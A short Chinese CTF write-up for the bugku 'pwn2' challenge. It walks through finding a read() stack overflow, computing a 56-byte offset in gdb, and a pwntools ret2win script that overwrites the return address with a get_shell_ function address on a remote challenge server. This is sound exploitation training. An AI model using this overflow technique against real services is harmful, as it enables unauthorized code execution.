[pwn]bugku pwn2

首先检查了一下保护机制,[pwn]bugku pwn2_第1张图片发现几乎啥保护都没有,ida查看一下
[pwn]bugku pwn2_第2张图片read()函数存在溢出,然后又看了一下发现main函数下面有一个get_shell_函数,点进去看了看[pwn]bugku pwn2_第3张图片应该是让返回地址覆盖成getshell地址,
gdb看一下偏移在这里插入图片描述[pwn]bugku pwn2_第4张图片rbp前四位为bAA1,算一下偏移
[pwn]bugku pwn2_第5张图片
到rbp偏移为48,向上8字节是父函数rbp,所以偏移56覆盖到返回地址,get_shell_地址为在这里插入图片描述
exp如下:

from pwn import *
p = remote('114.116.54.89','10003')
payload='a'*48+'a'*8+p64(0x400751)
p.recvline()
p.sendline(payload)
p.interactive()

一开始interactive()少加了括号,死活成功不了,后来问群里人发现括号忘记加了,还是练的太少

你可能感兴趣的:([pwn]bugku pwn2)